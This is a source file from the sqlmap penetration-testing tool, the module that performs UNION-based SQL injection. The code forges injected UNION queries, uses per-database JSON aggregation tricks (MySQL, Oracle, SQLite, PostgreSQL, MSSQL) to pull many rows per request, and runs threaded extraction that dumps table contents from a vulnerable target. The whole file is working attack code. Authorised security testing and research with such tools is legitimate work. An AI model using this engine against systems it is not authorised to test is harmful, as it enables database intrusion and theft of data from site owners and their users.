Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
sqlmapproject
GitHub Repository: sqlmapproject/sqlmap
Path: blob/master/lib/techniques/union/use.py
3553 views
1
#!/usr/bin/env python
2
3
"""
4
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
5
See the file 'LICENSE' for copying permission
6
"""
7
8
import json
9
import re
10
import time
11
12
from lib.core.agent import agent
13
from lib.core.bigarray import BigArray
14
from lib.core.common import arrayizeValue
15
from lib.core.common import Backend
16
from lib.core.common import calculateDeltaSeconds
17
from lib.core.common import clearConsoleLine
18
from lib.core.common import dataToStdout
19
from lib.core.common import extractRegexResult
20
from lib.core.common import firstNotNone
21
from lib.core.common import flattenValue
22
from lib.core.common import getConsoleWidth
23
from lib.core.common import getPartRun
24
from lib.core.common import hashDBRetrieve
25
from lib.core.common import hashDBWrite
26
from lib.core.common import incrementCounter
27
from lib.core.common import initTechnique
28
from lib.core.common import isDigit
29
from lib.core.common import isListLike
30
from lib.core.common import isNoneValue
31
from lib.core.common import isNumPosStrValue
32
from lib.core.common import listToStrValue
33
from lib.core.common import parseUnionPage
34
from lib.core.common import removeReflectiveValues
35
from lib.core.common import singleTimeDebugMessage
36
from lib.core.common import singleTimeWarnMessage
37
from lib.core.common import unArrayizeValue
38
from lib.core.common import wasLastResponseDBMSError
39
from lib.core.compat import xrange
40
from lib.core.convert import decodeBase64
41
from lib.core.convert import getUnicode
42
from lib.core.convert import htmlUnescape
43
from lib.core.data import conf
44
from lib.core.data import kb
45
from lib.core.data import logger
46
from lib.core.data import queries
47
from lib.core.dicts import FROM_DUMMY_TABLE
48
from lib.core.enums import DBMS
49
from lib.core.enums import HTTP_HEADER
50
from lib.core.enums import PAYLOAD
51
from lib.core.exception import SqlmapDataException
52
from lib.core.exception import SqlmapSyntaxException
53
from lib.core.settings import MAX_BUFFERED_PARTIAL_UNION_LENGTH
54
from lib.core.settings import NULL
55
from lib.core.settings import SQL_SCALAR_REGEX
56
from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT
57
from lib.core.threads import getCurrentThreadData
58
from lib.core.threads import runThreads
59
from lib.core.unescaper import unescaper
60
from lib.request.connect import Connect as Request
61
from lib.utils.progress import ProgressBar
62
from lib.utils.safe2bin import safecharencode
63
from thirdparty import six
64
from thirdparty.odict import OrderedDict
65
66
def _oneShotUnionUse(expression, unpack=True, limited=False):
67
retVal = hashDBRetrieve("%s%s" % (conf.hexConvert or False, expression), checkConf=True) # as UNION data is stored raw unconverted
68
69
threadData = getCurrentThreadData()
70
threadData.resumed = retVal is not None
71
72
if retVal is None:
73
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
74
75
if not kb.jsonAggMode:
76
injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
77
kb.unionDuplicates = vector[7]
78
kb.forcePartialUnion = vector[8]
79
80
# Note: introduced columns in 1.4.2.42#dev
81
try:
82
kb.tableFrom = vector[9]
83
kb.unionTemplate = vector[10]
84
except IndexError:
85
pass
86
87
query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
88
where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6]
89
else:
90
injExpression = unescaper.escape(expression)
91
where = vector[6]
92
query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False)
93
94
payload = agent.payload(newValue=query, where=where)
95
96
# Perform the request
97
page, headers, _ = Request.queryPage(payload, content=True, raise404=False)
98
99
if page and kb.chars.start.upper() in page and kb.chars.start not in page:
100
singleTimeWarnMessage("results seems to be upper-cased by force. sqlmap will automatically lower-case them")
101
102
page = page.lower()
103
104
incrementCounter(PAYLOAD.TECHNIQUE.UNION)
105
106
if kb.jsonAggMode:
107
for _page in (page or "", (page or "").replace('\\"', '"')):
108
if Backend.isDbms(DBMS.MSSQL):
109
output = extractRegexResult(r"%s(?P<result>.*)%s" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload))
110
111
if output:
112
try:
113
retVal = None
114
output_decoded = htmlUnescape(output)
115
json_data = json.loads(output_decoded, object_pairs_hook=OrderedDict)
116
117
if not isinstance(json_data, list):
118
json_data = [json_data]
119
120
if json_data and isinstance(json_data[0], dict):
121
fields = list(json_data[0].keys())
122
123
if fields:
124
parts = []
125
for row in json_data:
126
parts.append("%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(getUnicode(row.get(field) or NULL) for field in fields), kb.chars.stop))
127
retVal = "".join(parts)
128
except:
129
retVal = None
130
else:
131
retVal = getUnicode(retVal)
132
elif Backend.isDbms(DBMS.PGSQL):
133
output = extractRegexResult(r"(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload))
134
if output:
135
retVal = output
136
else:
137
output = extractRegexResult(r"%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload))
138
if output:
139
try:
140
retVal = ""
141
for row in json.loads(output):
142
# NOTE: for cases with automatic MySQL Base64 encoding of JSON array values, like: ["base64:type15:MQ=="]
143
for match in re.finditer(r"base64:type\d+:([^ ]+)", row):
144
row = row.replace(match.group(0), decodeBase64(match.group(1), binary=False))
145
retVal += "%s%s%s" % (kb.chars.start, row, kb.chars.stop)
146
except:
147
retVal = None
148
else:
149
retVal = getUnicode(retVal)
150
151
if retVal:
152
break
153
else:
154
# Parse the returned page to get the exact UNION-based
155
# SQL injection output
156
def _(regex):
157
return firstNotNone(
158
extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE),
159
extractRegexResult(regex, removeReflectiveValues(listToStrValue((_ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI)) if headers else None), payload, True), re.DOTALL | re.IGNORECASE)
160
)
161
162
# Automatically patching last char trimming cases
163
if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""):
164
warnMsg = "automatically patching output having last char trimmed"
165
singleTimeWarnMessage(warnMsg)
166
page = page.replace(kb.chars.stop[:-1], kb.chars.stop)
167
168
retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop))
169
170
if retVal is not None:
171
retVal = getUnicode(retVal, kb.pageEncoding)
172
173
# Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection
174
if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
175
retVal = htmlUnescape(retVal).replace("<br>", "\n")
176
177
hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal)
178
179
elif not kb.jsonAggMode:
180
trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start))
181
182
if trimmed:
183
warnMsg = "possible server trimmed output detected "
184
warnMsg += "(probably due to its length and/or content): "
185
warnMsg += safecharencode(trimmed)
186
logger.warning(warnMsg)
187
188
elif re.search(r"ORDER BY [^ ]+\Z", expression):
189
debugMsg = "retrying failed SQL query without the ORDER BY clause"
190
singleTimeDebugMessage(debugMsg)
191
192
expression = re.sub(r"\s*ORDER BY [^ ]+\Z", "", expression)
193
retVal = _oneShotUnionUse(expression, unpack, limited)
194
195
elif kb.nchar and re.search(r" AS N(CHAR|VARCHAR)", agent.nullAndCastField(expression)):
196
debugMsg = "turning off NATIONAL CHARACTER casting" # NOTE: in some cases there are "known" incompatibilities between original columns and NCHAR (e.g. http://testphp.vulnweb.com/artists.php?artist=1)
197
singleTimeDebugMessage(debugMsg)
198
199
kb.nchar = False
200
retVal = _oneShotUnionUse(expression, unpack, limited)
201
else:
202
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
203
kb.unionDuplicates = vector[7]
204
205
return retVal
206
207
def configUnion(char=None, columns=None):
208
def _configUnionChar(char):
209
if not isinstance(char, six.string_types):
210
return
211
212
kb.uChar = char
213
214
if conf.uChar is not None:
215
kb.uChar = char.replace("[CHAR]", conf.uChar if isDigit(conf.uChar) else "'%s'" % conf.uChar.strip("'"))
216
217
def _configUnionCols(columns):
218
if not isinstance(columns, six.string_types):
219
return
220
221
columns = columns.replace(' ', "")
222
if '-' in columns:
223
colsStart, colsStop = columns.split('-')
224
else:
225
colsStart, colsStop = columns, columns
226
227
if not isDigit(colsStart) or not isDigit(colsStop):
228
raise SqlmapSyntaxException("--union-cols must be a range of integers")
229
230
conf.uColsStart, conf.uColsStop = int(colsStart), int(colsStop)
231
232
if conf.uColsStart > conf.uColsStop:
233
errMsg = "--union-cols range has to represent lower to "
234
errMsg += "higher number of columns"
235
raise SqlmapSyntaxException(errMsg)
236
237
_configUnionChar(char)
238
_configUnionCols(conf.uCols or columns)
239
240
def unionUse(expression, unpack=True, dump=False):
241
"""
242
This function tests for an UNION SQL injection on the target
243
URL then call its subsidiary function to effectively perform an
244
UNION SQL injection on the affected URL
245
"""
246
247
initTechnique(PAYLOAD.TECHNIQUE.UNION)
248
249
abortedFlag = False
250
count = None
251
origExpr = expression
252
startLimit = 0
253
stopLimit = None
254
value = None
255
256
width = getConsoleWidth()
257
start = time.time()
258
259
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr)
260
261
# Set kb.partRun in case the engine is called from the API
262
kb.partRun = getPartRun(alias=False) if conf.api else None
263
264
if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
265
# Removed ORDER BY clause because UNION does not play well with it
266
expression = re.sub(r"(?i)\s*ORDER BY\s+[\w,]+", "", expression)
267
debugMsg = "stripping ORDER BY clause from statement because "
268
debugMsg += "it does not play well with UNION query SQL injection"
269
singleTimeDebugMessage(debugMsg)
270
271
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.forcePartial, conf.disableJson)):
272
match = re.search(r"SELECT\s*(.+?)\bFROM", expression, re.I)
273
if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression) and not re.search(r"\b(MIN|MAX|COUNT|EXISTS)\(", expression):
274
kb.jsonAggMode = True
275
if Backend.isDbms(DBMS.MYSQL):
276
query = expression.replace(expressionFields, "CONCAT('%s',JSON_ARRAYAGG(CONCAT_WS('%s',%s)),'%s')" % (kb.chars.start, kb.chars.delimiter, ','.join(agent.nullAndCastField(field) for field in expressionFieldsList), kb.chars.stop), 1)
277
elif Backend.isDbms(DBMS.ORACLE):
278
query = expression.replace(expressionFields, "'%s'||JSON_ARRAYAGG(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(expressionFieldsList), kb.chars.stop), 1)
279
elif Backend.isDbms(DBMS.SQLITE):
280
query = expression.replace(expressionFields, "'%s'||JSON_GROUP_ARRAY(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1)
281
elif Backend.isDbms(DBMS.PGSQL):
282
query = expression.replace(expressionFields, "STRING_AGG('%s'||%s||'%s','')" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s::text,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1)
283
elif Backend.isDbms(DBMS.MSSQL):
284
query = "'%s'+(%s FOR JSON AUTO, INCLUDE_NULL_VALUES)+'%s'" % (kb.chars.start, expression, kb.chars.stop)
285
output = _oneShotUnionUse(query, False)
286
value = parseUnionPage(output)
287
kb.jsonAggMode = False
288
289
# We have to check if the SQL query might return multiple entries
290
# if the technique is partial UNION query and in such case forge the
291
# SQL limiting the query output one entry at a time
292
# NOTE: we assume that only queries that get data from a table can
293
# return multiple entries
294
if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or kb.forcePartialUnion or conf.forcePartial or (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
295
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
296
297
if limitCond:
298
# Count the number of SQL query entries output
299
countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1)
300
301
if " ORDER BY " in countedExpression.upper():
302
_ = countedExpression.upper().rindex(" ORDER BY ")
303
countedExpression = countedExpression[:_]
304
305
output = _oneShotUnionUse(countedExpression, unpack)
306
count = unArrayizeValue(parseUnionPage(output))
307
308
if isNumPosStrValue(count):
309
if isinstance(stopLimit, int) and stopLimit > 0:
310
stopLimit = min(int(count), int(stopLimit))
311
else:
312
stopLimit = int(count)
313
314
debugMsg = "used SQL query returns "
315
debugMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry")
316
logger.debug(debugMsg)
317
318
elif count and (not isinstance(count, six.string_types) or not count.isdigit()):
319
warnMsg = "it was not possible to count the number "
320
warnMsg += "of entries for the SQL query provided. "
321
warnMsg += "sqlmap will assume that it returns only "
322
warnMsg += "one entry"
323
logger.warning(warnMsg)
324
325
stopLimit = 1
326
327
elif not isNumPosStrValue(count):
328
if not count:
329
warnMsg = "the SQL query provided does not "
330
warnMsg += "return any output"
331
logger.warning(warnMsg)
332
else:
333
value = [] # for empty tables
334
return value
335
336
if isNumPosStrValue(count) and int(count) > 1:
337
threadData = getCurrentThreadData()
338
339
try:
340
threadData.shared.limits = iter(xrange(startLimit, stopLimit))
341
except OverflowError:
342
errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit)
343
errMsg += "with switch '--fresh-queries'"
344
raise SqlmapDataException(errMsg)
345
346
numThreads = min(conf.threads, (stopLimit - startLimit))
347
threadData.shared.value = BigArray()
348
threadData.shared.buffered = []
349
threadData.shared.counter = 0
350
threadData.shared.lastFlushed = startLimit - 1
351
threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1
352
353
if threadData.shared.showEta:
354
threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit))
355
356
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
357
kb.suppressResumeInfo = True
358
debugMsg = "suppressing possible resume console info for "
359
debugMsg += "large number of rows as it might take too long"
360
logger.debug(debugMsg)
361
362
try:
363
def unionThread():
364
threadData = getCurrentThreadData()
365
366
while kb.threadContinue:
367
with kb.locks.limit:
368
try:
369
threadData.shared.counter += 1
370
num = next(threadData.shared.limits)
371
except StopIteration:
372
break
373
374
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
375
field = expressionFieldsList[0]
376
elif Backend.isDbms(DBMS.ORACLE):
377
field = expressionFieldsList
378
else:
379
field = None
380
381
limitedExpr = agent.limitQuery(num, expression, field)
382
output = _oneShotUnionUse(limitedExpr, unpack, True)
383
384
if not kb.threadContinue:
385
break
386
387
if output:
388
with kb.locks.value:
389
if all(_ in output for _ in (kb.chars.start, kb.chars.stop)):
390
items = parseUnionPage(output)
391
392
if threadData.shared.showEta:
393
threadData.shared.progress.progress(threadData.shared.counter)
394
if isListLike(items):
395
# in case that we requested N columns and we get M!=N then we have to filter a bit
396
if len(items) > 1 and len(expressionFieldsList) > 1:
397
items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)]
398
items = [_ for _ in flattenValue(items)]
399
if len(items) > len(expressionFieldsList):
400
filtered = OrderedDict()
401
for item in items:
402
key = re.sub(r"[^A-Za-z0-9]", "", item).lower()
403
if key not in filtered or re.search(r"[^A-Za-z0-9]", item):
404
filtered[key] = item
405
items = list(six.itervalues(filtered))
406
items = [items]
407
index = None
408
for index in xrange(1 + len(threadData.shared.buffered)):
409
if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
410
break
411
threadData.shared.buffered.insert(index or 0, (num, items))
412
else:
413
index = None
414
if threadData.shared.showEta:
415
threadData.shared.progress.progress(threadData.shared.counter)
416
for index in xrange(1 + len(threadData.shared.buffered)):
417
if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
418
break
419
threadData.shared.buffered.insert(index or 0, (num, None))
420
421
items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter)
422
423
while threadData.shared.buffered and (threadData.shared.lastFlushed + 1 >= threadData.shared.buffered[0][0] or len(threadData.shared.buffered) > MAX_BUFFERED_PARTIAL_UNION_LENGTH):
424
threadData.shared.lastFlushed, _ = threadData.shared.buffered[0]
425
if not isNoneValue(_):
426
threadData.shared.value.extend(arrayizeValue(_))
427
del threadData.shared.buffered[0]
428
429
if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta and not kb.bruteMode:
430
_ = ','.join("'%s'" % _ for _ in (flattenValue(arrayizeValue(items)) if not isinstance(items, six.string_types) else [items]))
431
status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_))
432
433
if len(status) > width and not conf.noTruncate:
434
status = "%s..." % status[:width - 3]
435
436
dataToStdout("%s\n" % status)
437
438
runThreads(numThreads, unionThread)
439
440
if conf.verbose == 1:
441
clearConsoleLine(True)
442
443
except KeyboardInterrupt:
444
abortedFlag = True
445
446
warnMsg = "user aborted during enumeration. sqlmap "
447
warnMsg += "will display partial output"
448
logger.warning(warnMsg)
449
450
finally:
451
for _ in sorted(threadData.shared.buffered):
452
if not isNoneValue(_[1]):
453
threadData.shared.value.extend(arrayizeValue(_[1]))
454
value = threadData.shared.value
455
kb.suppressResumeInfo = False
456
457
if not value and not abortedFlag:
458
output = _oneShotUnionUse(expression, unpack)
459
value = parseUnionPage(output)
460
461
duration = calculateDeltaSeconds(start)
462
463
if not kb.bruteMode:
464
debugMsg = "performed %d quer%s in %.2f seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], 'y' if kb.counters[PAYLOAD.TECHNIQUE.UNION] == 1 else "ies", duration)
465
logger.debug(debugMsg)
466
467
return value
468
469